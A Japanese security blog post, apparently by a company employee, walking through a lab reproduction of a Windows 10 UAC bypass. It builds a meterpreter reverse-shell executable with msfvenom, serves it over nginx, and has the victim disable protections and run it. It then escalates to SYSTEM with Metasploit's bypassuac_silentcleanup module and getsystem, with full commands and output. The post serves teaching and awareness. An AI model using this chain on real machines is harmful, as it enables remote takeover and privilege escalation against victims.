Armoris日記 Win10 UAC Bypass編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Windows10でUAC Bypassをやってみよう

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

今回のArmoris日記は、HTTP Reverse Shellから侵入し、Windows10のUAC Bypassを再現してみた内容を紹介します。

そもそもUACとは User Account Control といい、管理者権限を持つユーザーに普段は一般ユーザーと同じ権限しか与えず、管理者権限の必要な処理を実行しようとした際に警告ダイアログを表示して本当に実行してよいか確認するなどして適正なアカウント権限の管理を行う機能のことです。
今回は、この機能をBypassして管理者権限に昇格する手法を試します。

検証環境

検証にあたり使用した環境は以下の通りです。

Name Version
MSEdge Win10 1809
Kali Linux 2020.2
  • Other :
    • MSF exploit/multi/handler
      • PAYLOAD windows/x64/meterpreter/reverse_tcp
      • PAYLOAD windows/local/bypassuac_silentcleanup

環境準備

まずは以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しています。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポート機能を使用して起動します。
検証用のイメージはデフォルトパスワードが Passw0rd!に設定されています。
画像のようにWindowsにログイン後各種保護をオフにします。
設定項目はSettings → Update & Security → Windows Security → Open Windows Securityからアクセスできます。 f:id:Armoris:20201211175407p:plain

次にKali Linuxを起動し、Payloadの作成を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.1.30 -f exe -o ./hack.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: ./hack.exe

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo mkdir /var/www/html/file

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo cp hack.exe /var/www/html/file/

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo systemctl restart nginx

f:id:Armoris:20201211175017p:plain

Payloadが作成できたらWindowsからアクセスして.exeファイルを保存します。 f:id:Armoris:20201211175843p:plain

検証

準備が完了したらPayloadを実行してHTTP Reverse Shellを作りUAC Bypassを試します。

まずはKali Linuxmsfconsoleを起動します。起動が確認できたらまずはHTTP Reverse Shellを待ち受けるための設定を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ msfconsole

       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the edit command to open the currently active module in your editor

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.1.30
lhost => 10.0.1.30
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.0.1.30:4444

次にWindowsに保存したhack.exeを実行します。
実行時に以下のようなダイアログが出る場合はMore infoをクリックし、Run anywayをクリックします。 f:id:Armoris:20201211180945p:plain
f:id:Armoris:20201211180955p:plain

hack.exe実行後のWindowsに変化はありませんが、Kali Linuxでは以下のようになります。 f:id:Armoris:20201211181119p:plain

HTTP Reverse Shellを作成し、getuidコマンドを実行してMSEDGEWIN10\IEUserになっていることを確認します。

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: MSEDGEWIN10\IEUser

次にセッションをバックグラウンドで維持しながらUAC Bypassを行います。
getsystemコマンドを実行後getuidコマンドの結果がNT AUTHORITY\SYSTEMと表示されシステム権限になっていることが確認できます。

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf5 exploit(windows/local/bypassuac_silentcleanup) > show options

Module options (exploit/windows/local/bypassuac_silentcleanup):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   PSH_PATH   %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe  yes       The path to the Powershell binary.
   SESSION                                                             yes       The session to run this module on.
   SLEEPTIME  0                                                        no        The time (ms) to sleep before running SilentCleanup


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.1.30        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows


msf5 exploit(windows/local/bypassuac_silentcleanup) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit

[*] Started reverse TCP handler on 10.0.1.30:4444
[+] Part of Administrators group! Continuing...
[*] Sending stage (176195 bytes) to 10.0.1.31
[*] Meterpreter session 2 opened (10.0.1.30:4444 -> 10.0.1.31:50119) at 2020-12-11 18:16:57 +0900

meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

今回使用しているPayloadはexploit/windows/local/bypassuac_silentcleanupですが、成功しない場合はいくつか他のものを試してみてください。

以上でUAC Bypassの検証は終了です。

最後に

今回の検証はHTTP Reverse Shellのセッション確立後によく行われることの一つとしてUAC Bypassを検証してみました。
実際に検証してみてWindowsの画面上では特に変化がなくても不審な.exeファイルを実行するだけで、簡単に管理者権限までが奪われてしまうというのがわかったのではないかと思います。

今回の検証をインターネット上からダウンロードしたファイルを実行する際に頭の片隅に置いておいてもらえればいいかなと思います。

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。